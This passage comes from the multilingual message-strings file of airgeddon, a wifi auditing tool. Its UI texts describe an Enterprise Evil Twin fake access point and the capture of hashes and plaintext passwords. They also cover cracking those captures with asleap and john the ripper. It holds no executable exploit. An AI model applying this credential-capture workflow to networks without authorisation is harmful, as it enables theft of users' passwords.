arr["PORTUGUESE",528]="Detectamos que você está executando airgeddon em um contêiner Docker. Neste ataque é usado hostapd-wpe para criar um AP falso. Este componente tende a entrar em conflito com network-manager. A partir do contêiner o airgeddon não pode controlá-lo. Se você tem network-manager instalado em sua máquina host feche-o, mate os processos conflitantes ou você irá obter um erro. Para mais informações consulte a seção Docker Wiki: \${normal_color}\${urlgithub_wiki}/Docker" arr["RUSSIAN",528]="Определено, что вы запускаете airgeddon внутри контейнера Docker. Во время этой атаки для создания поддельной AP используется hostapd-wpe. Этот компонент часто конфликтует с network-manager. Изнутри контейнера airgeddon не может справиться с этим. Если на вашем хост-компьютере установлен network-manager, закройте его или уберите конфликтующие процессы, иначе вы получите сообщение об ошибке. Для получения дополнительной информации см. раздел Docker в Wiki: \${normal_color}\${urlgithub_wiki}/Docker" arr["GREEK",528]="Εντοπίστηκε πως τρέχετε το airgeddon μέσα σε Docker container. Κατά τη διάρκεια αυτής της επίθεσης χρησιμοποιείται το hostapd-wpe για να δημιουργήσει ψεύτικο AP. Η δημιουργία αυτού κάνει conflicts με τον network-manager. Το airgeddon δεν μπορεί να το χειριστεί μέσα από το container. Αν υπάρχει ο network-manager εγκατεστημένος στον host-υπολογιστή, κλείστε τον ή διακόψτε τις διεργασίες που κάνουν conflict αλλιώς θα υπάρξουν σφάλματα. Για περισσότερες πληροφορίες, ανατρέξτε στην ενότητα Docker του Wiki: \${normal_color}\${urlgithub_wiki}/Docker" arr["ITALIAN",528]="È stato rilevato che si sta eseguendo airgeddon in un contenitore Docker. In questo attacco viene utilizzato hostapd-wpe per creare un falso AP. Questo componente tende a creare un conflitto con il network-manager. Dal contenitore, airgeddon non può gestirlo. Se si dispone di network-manager installato sul computer host, chiuderlo o uccidere i processi in conflitto o ci sará un errore. Per ulteriori informazioni consultare la sezione Docker della nostra Wiki: \${normal_color}\${urlgithub_wiki}/Docker" arr["POLISH",528]="Wykryto, że używasz airgeddon w kontenerze Docker. W tym ataku hostapd-wpe służy do utworzenia fałszywego AP. Ten komponent często ma konflikt z network-manager. Z kontenera airgeddon nie może sobie z tym poradzić. Jeśli na komputerze hosta zainstalowano network-manager, zamknij lub zabij sprzeczne procesy lub otrzymasz błąd. Aby uzyskać więcej informacji, zobacz sekcję Docker Wiki: \${normal_color}\${urlgithub_wiki}/Docker" arr["GERMAN",528]="Es wurde festgestellt, dass Sie airgeddon in einem Docker-Container ausführen. Bei diesem Angriff wird mit hostapd-wpe ein falscher AP erstellt. Diese Komponente steht normalerweise im Konflikt mit dem network-manager. Aus dem Container kann airgeddon das nicht schaffen. Wenn Sie den network-manager auf Ihrem Host-Computer installiert haben, schließen Sie ihn oder beenden Sie die Prozesse im Konflikt oder Sie erhalten einen Fehler. Weitere Informationen finden Sie im Abschnitt Docker des Wiki: \${normal_color}\${urlgithub_wiki}/Docker" arr["TURKISH",528]="Bir Docker konteynırı içinde airgeddon çalıştırdığınız tespit edildi. Bu saldırı sırasında hostapd-wpe sahte bir AP oluşturmak için kullanılır. Bu bileşen genellikle ağ yöneticisi ile çakışır. Konteynırın içinden, hava hücresi bunu kaldıramaz. Ana makinenize ağ yöneticisi yüklüyse, kapat veya çakışan işlemleri durdurun veya bir hatayla karşılaşırsınız. Daha fazla bilgi için, Wiki'nin Docker bölümüne bakın: \${normal_color}\${urlgithub_wiki}/Docker" arr["ARABIC",528]="\${normal_color}\${urlgithub_wiki}/Docker\${pink_color} :في Docker التعامل معها. إذا كان لديك مدير شبكة مثبتًا على جهازك المضيف ، فقم بإغلاقه أو إنهاء العمليات المتضاربة أو ستحصل على خطأ. لمزيد من المعلومات ، راجع قسم airgeddon مزيف. غالبًا ما يتعارض هذا المكون مع مدير الشبكة. من داخل الحاوية ، لا يستطيع AP لإنشاء hostapd-wpe خلال هذا الهجوم ، يتم استخدام .Docker داخل حاوية airgeddon تم الكشف عن أنك تقوم بتشغيل\${normal_color}" arr["CHINESE",528]="检测到您正在 Docker 容器内运行 airgeddon。在此攻击期间,hostapd-wpe 用于创建伪造的 AP。该组件经常与网络管理器冲突。从容器内部,airgeddon 无法处理它。如果您的主机上安装了网络管理器,请关闭它或终止冲突进程,否则您将收到错误消息。有关详细信息,请参阅 Wiki 的 Docker 部分: \${normal_color}\${urlgithub_wiki}/Docker" arr["ENGLISH",529]="It seems that nothing was captured during the Enterprise Evil Twin attack" arr["SPANISH",529]="Parece que no se ha capturado nada durante el ataque Evil Twin Enterprise" arr["FRENCH",529]="Il semble qu'on n'a rien capturé pendant l'attaque Evil Twin Enterprise" arr["CATALAN",529]="Sembla que no s'ha capturat res durant l'atac Evil Twin Enterprise" arr["PORTUGUESE",529]="Parece que nada foi capturado durante o ataque Evil Twin Enterprise" arr["RUSSIAN",529]="Судя по всему, ничего не было захвачено во время атаки Enterprise Evil Twin" arr["GREEK",529]="Φαίνεται ότι τίποτα δεν καταγράφηκε κατά τη διάρκεια της επίθεσης Enterprise Evil Twin" arr["ITALIAN",529]="Sembra che non sia stato catturato nulla durante l'attacco Evil Twin Enterprise" arr["POLISH",529]="Wygląda na to, że podczas ataku Evil Twin Enterprise nic nie zostało przechwycone" arr["GERMAN",529]="Es sieht so aus, als wäre nichts während des Evil Twin Enterprise Angriffs gefangen worden" arr["TURKISH",529]="Enterprise Şeytani İkiz saldırısı sırasında yakalanan hiçbir şey yok gibi görünüyor" arr["ARABIC",529]="Enterprise Evil Twin يبدو أنه لم يتم أسر أي شيء خلال هجوم" arr["CHINESE",529]="似乎在针对企业级加密的邪恶双胞胎攻击期间没有捕获任何东西" arr["ENGLISH",530]="Contratulations!! It seems you captured some hashes" arr["SPANISH",530]="Enhorabuena!! Parece que has capturado algún hash" arr["FRENCH",530]="Félicitations!! Il semble que vous ayez capturé des hashes" arr["CATALAN",530]="Enhorabona!! Sembla que has capturat algun hash" arr["PORTUGUESE",530]="Parabéns!! Parece que você capturou alguma hash" arr["RUSSIAN",530]="Поздравления!! Кажется, вы захватили хеши" arr["GREEK",530]="Συγχαρητήρια!! Φαίνεται ότι έχετε καταγράψει κάποιο hash" arr["ITALIAN",530]="Congratulazioni!! Sembra che tu abbia catturato qualche hash" arr["POLISH",530]="Gratulacje!! Wygląda na to, że przechwyciłeś hash" arr["GERMAN",530]="Herzlichen Glückwunsch!! Es scheint, dass Sie Hashes erfasst haben" arr["TURKISH",530]="Tebrikler!! Görünüşe göre bazı hashleri yakaladın" arr["ARABIC",530]="تهانينا!! يبدو أنك التقطت بعض التجزئات" arr["CHINESE",530]="恭喜!!看来你捕获了一些密码的哈希值" arr["ENGLISH",531]="Contratulations!! It seems you captured some plain text password/s" arr["SPANISH",531]="Enhorabuena!! Parece que has capturado alguna contraseña en texto plano" arr["FRENCH",531]="Félicitations!! Il semble que vous ayez capturé un mot de passe en texte brut" arr["CATALAN",531]="Enhorabona!! Sembla que has capturat alguna contrasenya en text pla" arr["PORTUGUESE",531]="Parabéns!! Parece que você capturou alguma senha em texto simples" arr["RUSSIAN",531]="Поздравления!! Кажется, что вы захватили пароль в текстовом виде" arr["GREEK",531]="Συγχαρητήρια!! Φαίνεται ότι έχετε καταγράψει κάποιο κωδικό πρόσβασης απλού κειμένου" arr["ITALIAN",531]="Congratulazioni!! Sembra che tu abbia catturato qualche password in chiaro" arr["POLISH",531]="Gratulacje!! Wygląda na to, że zdobyłeś hasło w postaci zwykłego tekstu" arr["GERMAN",531]="Herzlichen Glückwunsch!! Es scheint, dass Sie ein Passwort im Klartext erfasst haben" arr["TURKISH",531]="Tebrikler!! Text şifreleri yakaladınız gibi görünüyor" arr["ARABIC",531]="تهانينا!! يبدو أنك التقطت بعض كلمات المرور" arr["CHINESE",531]="恭喜!!您似乎捕获了一些纯文本密码" arr["ENGLISH",532]="Contratulations!! It seems you captured hashes and plain text passwords" arr["SPANISH",532]="Enhorabuena!! Parece que has capturado hashes y contraseñas en texto plano" arr["FRENCH",532]="Félicitations!! Il semble que vous ayez capturé des hashes et des mots de passe en texte brut" arr["CATALAN",532]="Enhorabona!! Sembla que has capturat hashes i contrasenyes en text pla" arr["PORTUGUESE",532]="Parabéns!! Parece que você capturou hashes e senhas em texto simples" arr["RUSSIAN",532]="Поздравления!! Кажется, что вы захватили хеши и пароли в текстовом виде" arr["GREEK",532]="Συγχαρητήρια!! Φαίνεται ότι έχετε καταγράψει τα hashes και τους κωδικούς πρόσβασης απλού κειμένου" arr["ITALIAN",532]="Congratulazioni!! Sembra che tu abbia catturato degli hash e delle passwords in chiaro" arr["POLISH",532]="Gratulacje!! Wygląda na to, że przechwyciłeś hashe i hasła w postaci zwykłego tekstu" arr["GERMAN",532]="Herzlichen Glückwunsch!! Es scheint, dass Sie Hashes und Passwörter im Klartext erfasst haben" arr["TURKISH",532]="Tebrikler!! Düz metinde karma ve şifreleri ele geçirmişsiniz gibi görünüyor" arr["ARABIC",532]="هانينا!! يبدو أنك التقطت تجزئات وكلمات مرور" arr["CHINESE",532]="恭喜!!您似乎捕获了哈希和纯文本密码" arr["ENGLISH",533]="The captured files were saved on directory [\${normal_color}\${enterprise_completepath}\${blue_color}]\${normal_color}" arr["SPANISH",533]="Los ficheros capturados se han guardado en el directorio [\${normal_color}\${enterprise_completepath}\${blue_color}]\${normal_color}" arr["FRENCH",533]="Les fichiers capturés ont été enregistrés dans le répertoire [\${normal_color}\${enterprise_completepath}\${blue_color}]\${normal_color}" arr["CATALAN",533]="Els fitxers capturats s'han guardat al directori [\${normal_color}\${enterprise_completepath}\${blue_color}]\${normal_color}" arr["PORTUGUESE",533]="Os arquivos capturados foram salvos no diretório [\${normal_color}\${enterprise_completepath}\${blue_color}]\${normal_color}" arr["RUSSIAN",533]="Захваченные файлы были сохранены в каталоге [\${normal_color}\${enterprise_completepath}\${blue_color}]\${normal_color}" arr["GREEK",533]="Τα αρχεία που έχουν ληφθεί αποθηκεύτηκαν στον κατάλογο [\${normal_color}\${enterprise_completepath}\${blue_color}]\${normal_color}" arr["ITALIAN",533]="I file catturati sono stati salvati nella directory [\${normal_color}\${enterprise_completepath}\${blue_color}]\${normal_color}" arr["POLISH",533]="Przechwycone pliki zostały zapisane w katalogu [\${normal_color}\${enterprise_completepath}\${blue_color}]\${normal_color}" arr["GERMAN",533]="Die erfassten Dateien wurden im Verzeichnis [\${normal_color}\${enterprise_completepath}\${blue_color}] gespeichert \${normal_color}" arr["TURKISH",533]="Yakalanan dosyalar belirtilen dizine kaydedildi [\${normal_color}\${enterprise_completepath}\${blue_color}]\${normal_color}" arr["ARABIC",533]="[\${normal_color}\${enterprise_completepath}\${blue_color}] تم حفظ الملفات الملتقطة في الدليل\${normal_color}" arr["CHINESE",533]="捕获的文件保存在目录 [\${normal_color}\${enterprise_completepath}\${blue_color}]\${normal_color}" arr["ENGLISH",534]="1. Personal" arr["SPANISH",534]="1. Personal" arr["FRENCH",534]="1. Personnel" arr["CATALAN",534]="1. Personal" arr["PORTUGUESE",534]="1. Personal" arr["RUSSIAN",534]="1. Personal" arr["GREEK",534]="1. Personal" arr["ITALIAN",534]="1. Personal" arr["POLISH",534]="1. Osobiste" arr["GERMAN",534]="1. Persönlich" arr["TURKISH",534]="1. Personal" arr["ARABIC",534]="1. خاص" arr["CHINESE",534]="1. 个人级加密 (Personal)" arr["ENGLISH",535]="2. Enterprise" arr["SPANISH",535]="2. Enterprise" arr["FRENCH",535]="2. Enterprise" arr["CATALAN",535]="2. Enterprise" arr["PORTUGUESE",535]="2. Enterprise" arr["RUSSIAN",535]="2. Enterprise" arr["GREEK",535]="2. Enterprise" arr["ITALIAN",535]="2. Enterprise" arr["POLISH",535]="2. Enterprise" arr["GERMAN",535]="2. Enterprise" arr["TURKISH",535]="2. Enterprise" arr["ARABIC",535]="2. Enterprise" arr["CHINESE",535]="2. 企业级加密 (Enterprise)" arr["ENGLISH",536]="0. Return to offline WPA/WPA2 decrypt menu" arr["SPANISH",536]="0. Volver al menú de descifrado WPA/WPA2 offline" arr["FRENCH",536]="0. Retourner au menu de décryptage hors ligne WPA/WPA2" arr["CATALAN",536]="0. Tornar al menú per desxifrar WPA/WPA2 offline" arr["PORTUGUESE",536]="0. Voltar ao menu de descriptografia WPA/WPA2 offline" arr["RUSSIAN",536]="0. Вернуться в меню офлайн расшифровки WPA/WPA2" arr["GREEK",536]="0. Επιστροφή στο μενού offline αποκρυπτογράφησης WPA/WPA2" arr["ITALIAN",536]="0. Tornare al menù per decifrare WPA/WPA2 offline" arr["POLISH",536]="0. Wróć do menu deszyfrowania WPA/WPA2 offline" arr["GERMAN",536]="0. Zurück zum Offline-WPA/WPA2-Entschlüsselungsmenü" arr["TURKISH",536]="0. Çevrimdışı WPA/WPA2 şifre çözme menüsüne dön" arr["ARABIC",536]="0. دون اتصال WPA/WPA2 العودة إلى قائمة فك تشفير" arr["CHINESE",536]="0. 返回上一级菜单" arr["ENGLISH",537]="Do you want to try to decrypt captured stuff? \${blue_color}Asleap tool will be used. If you answer no \"n\" you'll can try to do it later using hashcat or john the ripper from the offline WPA/WPA2 decrypt menu \${normal_color}\${visual_choice}" arr["SPANISH",537]="¿Quieres intentar descifrar lo capturado? \${blue_color}Se utilizará la herramienta asleap. Si respondes no \"n\" podrás intentarlo más tarde utilizando hashcat o john the ripper desde el menú de descifrado offline WPA/WPA2 \${normal_color}\${visual_choice}" arr["FRENCH",537]="Voulez-vous essayer de déchiffrer ce qui a été capturé? \${blue_color}L'outil asleap sera utilisé. Si vous ne répondez pas \"n\", vous pourrez l'essayer après avec hashcat ou john the ripper à partir du menu de décryptage hors ligne WPA/WPA2 \${normal_color}\${visual_choice}" arr["CATALAN",537]="¿Vols intentar desxifrar el capturat? \${blue_color}S'utilitzarà l'eina asleap. Si respons no \"n\" podràs provar més tard utilitzant hashcat o john the ripper des del menú de desxifrat offline WPA/WPA2 \${normal_color}\${visual_choice}" arr["PORTUGUESE",537]="Você quer tentar descriptografar o que foi capturado? \${blue_color}A ferramenta asleap será usada. Se você responder não \"n\" você pode tentar mais tarde usando o hashcat ou john the ripper no menu de descriptografia WPA/WPA2 offline \${normal_color}\${visual_choice}" arr["RUSSIAN",537]="Вы хотите попытаться расшифровать захваченные хеши? \${blue_color}Будет использован инструмент asleap. Если вы ответите нет \"n\", вы можете попытаться сделать это позже, используя hashcat или john the ripper из меню офлайн расшифровки WPA/WPA2 \${normal_color}\${visual_choice}" arr["GREEK",537]="Θέλετε να προσπαθήσετε να αποκρυπτογραφήσετε τα περιεχόμενα; \${blue_color}Το εργαλείο asleap θα χρησιμοποιηθεί. Εάν απαντήσετε όχι \"n\", μπορείτε να προσπαθήσετε να το κάνετε αργότερα χρησιμοποιώντας hashcat ή john the ripper από το μενού αποκρυπτογράφησης WPA/WPA2 \${normal_color}\${visual_choice}" arr["ITALIAN",537]="Vuoi provare a decifrare ciò che è stato catturato? \${blue_color}Verrà utilizzato il programma asleap. Se non rispondi a nessun \"n\" puoi provarci in seguito usando hashcat o john the ripper dal menu di decodifica offline WPA/WPA2 \${normal_color}\${visual_choice}" arr["POLISH",537]="Czy chcesz spróbować rozszyfrować przechwycone dane? \${blue_color}Zostanie użyte narzędzie o nazwie asleap. Jeśli nie odpowiesz \"n\", możesz spróbować później za pomocą programu hashcat lub john the ripper z menu deszyfrowania offline WPA/WPA2 \${normal_color}\${visual_choice}" arr["GERMAN",537]="Möchten Sie versuchen, das Erfasste zu entschlüsseln? \${blue_color}Das Tool asleap wird verwendet. Wenn Sie nein \"n\" antworten, können Sie es später mit hashcat oder john the ripper vom Offline-Entschlüsselungsmenü WPA/WPA2 versuchen \${normal_color}\${visual_choice}" arr["TURKISH",537]="Yakalanan şeyleri decrypt(şifre çözme) etmek ister misin? \${blue_color}Asleap aracı kullanılacaktır. Eğer \"n\" yanıtı vermezseniz, daha sonra, çevrimdışı şifre çözme menüsü WPA/WPA2'den, hashcat veya john the ripper'ı kullanarak deneyebilirsiniz \${normal_color}\${visual_choice}" arr["ARABIC",537]="\${normal_color}\${visual_choice}\${blue_color} بدون اتصال WPA/WPA2 يمكنك محاولة القيام بذلك لاحقًا باستخدام التجزئة أو جون الممزق من قائمة فك تشفير \"n\" إذا أجبت بـ لا .Asleap سيتم استخدام أداة \${green_color}هل تريد محاولة فك تشفير الأشياء التي تم التقاطها؟" arr["CHINESE",537]="你想尝试解密捕获的东西吗?\${blue_color}将使用 asleap 工具。如果您回答否 \"n\",您稍后可以尝试使用 hashcat 或 john the ripper 从离线 WPA/WPA2 解密菜单 \${normal_color}\${visual_choice}" arr["ENGLISH",538]="The password for the username \${normal_color}\${enterprise_username}\${blue_color} will be tried to be decrypted with asleap tool using challenge and response: \${normal_color}\${enterprise_captured_challenges_responses[\${enterprise_username}]}" arr["SPANISH",538]="Se procederá a intentar descifrar con la herramienta asleap la contraseña del usuario \${normal_color}\${enterprise_username}\${blue_color} cuyo challenge y response son: \${normal_color}\${enterprise_captured_challenges_responses[\${enterprise_username}]}" arr["FRENCH",538]="On va essayer de déchiffrer avec l'outil asleap le mot de passe de l'utilisateur \${normal_color}\${enterprise_username}\${blue_color} dont le défi et la réponse sont les suivants: \${normal_color}\${enterprise_captured_challenges_responses[\${enterprise_username}]}" arr["CATALAN",538]="Es procedirà a intentar desxifrar amb l'eina asleap la contrasenya de l'usuari \${normal_color}\${enterprise_username}\${blue_color} el challenge i response són: \${normal_color}\${enterprise_captured_challenges_responses[\${enterprise_username}]}" arr["PORTUGUESE",538]="Vamos tentar decifrar a senha do usuário \${normal_color}\${enterprise_username}\${blue_color} com a ferramenta asleap, o desafio e a resposta são: \${normal_color}\${enterprise_captured_challenges_responses[\${enterprise_username}]}" arr["RUSSIAN",538]="Пароль для имени пользователя \${normal_color}\${enterprise_username}\${blue_color} будет подвергнут расшифровке с помощью asleap с использованием запроса и ответа: \${normal_color}\${enterprise_captured_challenges_responses[\${enterprise_username}]}" arr["GREEK",538]="Ο κωδικός πρόσβασης για το όνομα χρήστη \${normal_color}\${enterprise_username}\${blue_color} θα δοκιμαστεί για να αποκρυπτογραφηθεί με το asleap χρησιμοποιώντας challenge και response: \${normal_color}\${enterprise_captured_challenges_responses[\${enterprise_username}]}" arr["ITALIAN",538]="Si cercherá di decifrare la password dell'utente con il programma asleap \${normal_color}\${enterprise_username}\${blue_color} i cui challange e reponse sono: \${normal_color}\${enterprise_captured_challenges_responses[\${enterprise_username}]}" arr["POLISH",538]="Spróbujemy rozszyfrować za pomocą narzędzia asleap hasło użytkownika \${normal_color}\${enterprise_username}\${blue_color}, którego challenge i odpowiedzią są: \${normal_color}\${enterprise_captured_challenges_responses[\${enterprise_username}]}" arr["GERMAN",538]="Wir werden versuchen, mit dem asleap-Tool das Passwort des Benutzers \${normal_color}\${enterprise_username}\${blue_color} zu entschlüsseln, dessen Challenge und Antwort lauten: \${normal_color}\${enterprise_captured_challenges_responses[\${enterprise_username}]}" arr["TURKISH",538]="Asleap aracıyla, sorunu ve yanıtı olan kullanıcının \${normal_color}\${enterprise_username}\${blue_color} şifresini çözmeyi deneyeceğiz: \${normal_color}\${enterprise_captured_challenges_responses[\${enterprise_username}]}" arr["ARABIC",538]="\${normal_color}\${enterprise_captured_challenges_responses[\${enterprise_username}]}\${blue_color} :استخدام أداة التحدي والاستجابة \${normal_color}\${enterprise_username}\${blue_color} ستتم محاولة فك تشفير كلمة مرور اسم المستخدم\${normal_color}" arr["CHINESE",538]="用户名 \${normal_color}\${enterprise_username}\${blue_color} 的密码将尝试使用挑战和响应使用 asleap 工具解密: \${normal_color}\${enterprise_captured_challenges_responses[\${企业用户名}]}" arr["ENGLISH",539]="Asleap trophy file generated successfully at [\${normal_color}\${path_to_asleap_trophy}\${blue_color}]" arr["SPANISH",539]="Fichero de trofeo asleap generado con éxito en [\${normal_color}\${path_to_asleap_trophy}\${blue_color}]" arr["FRENCH",539]="Le fichier trophée asleap a bien été crée dans [\${normal_color}\${path_to_asleap_trophy}\${blue_color}]" arr["CATALAN",539]="Fitxer de trofeu asleap generat amb èxit a [\${normal_color}\${path_to_asleap_trophy}\${blue_color}]" arr["PORTUGUESE",539]="Arquivo de troféu asleap gerado com sucesso [\${normal_color}\${path_to_asleap_trophy}\${blue_color}]" arr["RUSSIAN",539]="Трофейный файл asleap был успешно сгенерирован в [\${normal_color}\${path_to_asleap_trophy}\${blue_color}]" arr["GREEK",539]="Το asleap αρχείο τρόπαιο δημιουργήθηκε επιτυχώς [\${normal_color}\${path_to_asleap_trophy}\${blue_color}]" arr["ITALIAN",539]="File di trofeo di asleap generato con successo [\${normal_color}\${path_to_asleap_trophy}\${blue_color}]" arr["POLISH",539]="Plik trofeum asleap został pomyślnie wygenerowany w [\${normal_color}\${path_to_asleap_trophy}\${blue_color}]" arr["GERMAN",539]="Trophäen-Datei-Asleap erfolgreich in [\${normal_color}\${path_to_asleap_trophy}\${blue_color}] generiert" arr["TURKISH",539]="Asleap trophy dosyası başarıyla şurada oluşturuldu [\${normal_color}\${path_to_asleap_trophy}\${blue_color}]" arr["ARABIC",539]="[\${normal_color}\${path_to_asleap_trophy}\${blue_color}] بنجاح في Asleap trophy تم إنشاء ملف" arr["CHINESE",539]="在 [\${normal_color}\${path_to_asleap_trophy}\${blue_color}] 成功生成 Asleap 解密文件" arr["ENGLISH",540]="It seems we failed... try it again using another dictionary or choose bruteforce/rule based attack from the offline WPA/WPA2 decrypt menu" arr["SPANISH",540]="Parece que no lo hemos conseguido... inténtalo de nuevo con otro diccionario o por fuerza bruta/ataque basado en reglas desde el menú de descifrado hors ligne WPA/WPA2" arr["FRENCH",540]="Il semble que nous n'ayons pas réussi... réessayez avec un autre dictionnaire ou par force brute/attaque basée sur les règles du menu de décryptage WPA/WPA2" arr["CATALAN",540]="Sembla que no ho hem aconseguit... intenta-ho de nou amb un altre diccionari o per força bruta/atac basat en regles des del menú de desxifrat offline WPA/WPA2" arr["PORTUGUESE",540]="Parece que não conseguimos... Tente novamente usando outro dicionário ou fazendo um ataque de força bruta baseado em regras do menu de descriptografia WPA/WPA2 offline" arr["RUSSIAN",540]="Кажется, мы потерпели неудачу... повторите попытку с помощью другого словаря или выберите атаку, основанную на грубой силе/правилах, из меню офлайн расшифровки WPA/WPA2" arr["GREEK",540]="Φαίνεται ότι αποτύχαμε... Δοκιμάστε το ξανά χρησιμοποιώντας ένα άλλο λεξικό ή επιλέξτε τη βίαιη επίθεση/εξάρτηση βάσει κανόνων από το μενού αποκρυπτογράφησης WPA/WPA2 εκτός σύνδεσης" arr["ITALIAN",540]="Sembra che non ci siamo riusciti... riprova con un altro dizionario o con forza bruta/attacco basato su regole del menu di decodifica offline WPA/WPA2" arr["POLISH",540]="Wygląda na to, że się nie udało... spróbuj ponownie, używając innego słownika lub wybierz atak z użyciem brute force/reguły z menu odszyfrowania offline WPA/WPA2" arr["GERMAN",540]="Es scheint, dass wir es versäumt haben... versuchen Sie es erneut mit einem anderen Wörterbuch oder wählen Sie Brute-Force/Regel-basierte Angriffe aus dem Offline-WPA/WPA2-Entschlüsselungsmenü" arr["TURKISH",540]="Başarısız olduk gibi görünüyor... başka bir dictionary kullanarak tekrar deneyin ya da çevrimdışı WPA/WPA2 şifre çözme menüsünden bruteforce/rule tabanlı saldırı seçin" arr["ARABIC",540]="دون اتصال WPA/WPA2 حاول مرة أخرى باستخدام قاموس آخر أو اختر هجومًا قائمًا على القوة/القاعدة من قائمة فك تشفير...يبدو أننا فشلنا" arr["CHINESE",540]="看来我们失败了... 请使用另一个字典重试或从离线 WPA/WPA2 解密菜单中选择基于暴力/规则的攻击" arr["ENGLISH",541]="Do you want to retry asleap attack using another dictionary? \${normal_color}\${visual_choice}" arr["SPANISH",541]="¿Quieres intentar de nuevo el ataque con asleap utilizando otro diccionario? \${normal_color}\${visual_choice}" arr["FRENCH",541]="Voulez-vous réessayer l'attaque en utilisant un autre dictionnaire avec asleap? \${normal_color}\${visual_choice}" arr["CATALAN",541]="Vols provar de nou l'atac amb asleap utilitzant un altre diccionari? \${normal_color}\${visual_choice}" arr["PORTUGUESE",541]="Você quer tentar novamente o ataque asleap usando outro dicionário? \${normal_color}\${visual_choice}" arr["RUSSIAN",541]="Вы хотите повторить атаку в asleap с другим словарём? \${normal_color}\${visual_choice}" arr["GREEK",541]="Θέλετε να επαναλάβετε την επίθεση asleap χρησιμοποιώντας κάποιο άλλο λεξικό; \${normal_color}\${visual_choice}" arr["ITALIAN",541]="Vuoi provare di nuovo l'attacco con asleap usando un altro dizionario? \${normal_color}\${visual_choice}" arr["POLISH",541]="Czy chcesz ponowić atak asleap z użyciem innego słownika? \${normal_color}\${visual_choice}" arr["GERMAN",541]="Möchten Sie den Asleap Angriff mit einem anderen Wörterbuch wiederholen? \${normal_color}\${visual_choice}" arr["TURKISH",541]="Başka bir dictionary kullanarak asleap saldırısını tekrar denemek ister misiniz? \${normal_color}\${visual_choice}" arr["ARABIC",541]="\${normal_color}\${visual_choice}\${green_color} باستخدام قاموس آخر؟ asleap هل تريد إعادة محاولة هجوم\${normal_color}" arr["CHINESE",541]="你想用另一本字典重试 asleap 攻击吗?\${normal_color}\${visual_choice}" arr["ENGLISH",542]="You captured hash only for one user. Autoselected" arr["SPANISH",542]="Sólo capturaste hash de un usuario. Se ha seleccionado automáticamente" arr["FRENCH",542]="Vous venez de capturer le hash d'un utilisateur. Il a été sélectionné automatiquement" arr["CATALAN",542]="Només vas capturar hash d'un usuari. S'ha seleccionat automàticament" arr["PORTUGUESE",542]="Você capturou apenas uma hash de usuário. Ela foi selecionada automaticamente" arr["RUSSIAN",542]="Вы захватили хеш только для одного пользователя. Выбран автоматически" arr["GREEK",542]="Καταγράψατε κάποιο hash μόνο για έναν χρήστη. Επιλέχθηκε αύτοματα" arr["ITALIAN",542]="Hai appena catturato l'hash di un utente. È stato selezionato automaticamente" arr["POLISH",542]="Przechwiciłeś hasz tylko dla jednego użytkownika. Wybrano automatycznie" arr["GERMAN",542]="Sie haben nur einen Hash für einen Benutzer erfasst. Dieser wird Automatisch ausgewählt" arr["TURKISH",542]="Sadece bir kullanıcı için hash yakaladınız. Otomatik olarak seçildi" arr["ARABIC",542]="لقد التقطت للتو تجزئة المستخدم. تم اختياره تلقائيًا" arr["CHINESE",542]="您仅为一个用户捕获了哈希。已自动选择" arr["ENGLISH",543]="Chosen option is invalid. Select one number shown in the menu" arr["SPANISH",543]="La opción elegida no es válida. Selecciona un número de los mostrados en el menú" arr["FRENCH",543]="L'option choisie n'est pas valide. Sélectionnez un numéro montré sur le menu" arr["CATALAN",543]="L'opció triada no és vàlida. Selecciona un nombre dels mostrats en el menú" arr["PORTUGUESE",543]="A opção escolhida não é válida. Selecione um número entre os mostrados no menu" arr["RUSSIAN",543]="Выбранная опция недействительна. Выберите один номер, показанный в меню" arr["GREEK",543]="Η επιλογή που έχετε επιλέξει δεν είναι έγκυρη. Επιλέξτε κάποιον αριθμό που εμφανίζεται στο μενού" arr["ITALIAN",543]="L'opzione scelta non è valida. Seleziona un numero tra quelli indicati nel menu" arr["POLISH",543]="Wybrana opcja jest nieprawidłowa. Wybierz numer wyświetlony w menu" arr["GERMAN",543]="Die gewählte Option ist ungültig. Wählen Sie eine Nummer aus dem Menü" arr["TURKISH",543]="Seçilen seçenek geçersiz. Menüde gösterilen bir sayıyı seçin" arr["ARABIC",543]="الخيار المختار غير صالح. حدد رقمًا واحدًا في القائمة" arr["CHINESE",543]="所选选项无效。选择菜单中显示的一个号码" arr["ENGLISH",544]="john the ripper CPU, non GPU attacks" arr["SPANISH",544]="ataques john the ripper CPU, no GPU" arr["FRENCH",544]="attaques john the ripper CPU, pas GPU" arr["CATALAN",544]="atacs john the ripper CPU, no GPU" arr["PORTUGUESE",544]="Ataques com john the ripper usando CPU, não GPU" arr["RUSSIAN",544]="Атаки john the ripper с использованием центрального процессора, без использования видеокарты" arr["GREEK",544]="επιθέσεις john the ripper CPU, όχι GPU" arr["ITALIAN",544]="attacchi john the ripper CPU, non GPU" arr["POLISH",544]="ataki john the ripper CPU, nie GPU" arr["GERMAN",544]="CPU-john the ripper-Angriffe, kein GPU-Angriff" arr["TURKISH",544]="john the ripper CPU, GPU olmayan saldırılar" arr["ARABIC",544]="GPU هجمات غير معتمدة على ،john the ripper CPU" arr["CHINESE",544]="john the ripper 仅使用 CPU 破解" arr["ENGLISH",545]="1. (john the ripper) Dictionary attack against hashes file" arr["SPANISH",545]="1. (john the ripper) Ataque de diccionario sobre fichero de hashes" arr["FRENCH",545]="1. (john the ripper) Attaque de dictionnaire en utilisant le fichier de hashes" arr["CATALAN",545]="1. (john the ripper) Atac de diccionari sobre fitxer de hashes" arr["PORTUGUESE",545]="1. (john the ripper) Ataque de dicionário sobre arquivo de hashes" arr["RUSSIAN",545]="1. (john the ripper) Перебор по словарю против файла с хешами" arr["GREEK",545]="1. (john the ripper) Επίθεση με λεξικό στο αρχείο hashes" arr["ITALIAN",545]="1. (john the ripper) Attacco di dizionario sul file di hashes" arr["POLISH",545]="1. (john the ripper) Atak słownikowy na plik z hashami" arr["GERMAN",545]="1. (john the ripper) Wörterbuchangriff gegen Hashes-Datei" arr["TURKISH",545]="1. (john the ripper) Hashes dosyasına karşı sözlük saldırısı" arr["ARABIC",545]="1. هجوم قاموسي على ملف التجزئة (john the ripper)" arr["CHINESE",545]="1. (john the ripper) 对哈希文件进行字典攻击" arr["ENGLISH",546]="2. (john the ripper + crunch) Bruteforce attack against hashes file" arr["SPANISH",546]="2. (john the ripper + crunch) Ataque de fuerza bruta sobre fichero de hashes" arr["FRENCH",546]="2. (john the ripper + crunch) Attaque de force brute en utilisant le fichier de hachage" arr["CATALAN",546]="2. (john the ripper + crunch) Atac de força bruta sobre fitxer de hashes" arr["PORTUGUESE",546]="2. (john the ripper + crunch) Ataque de força bruta sobre arquivo de hashes" 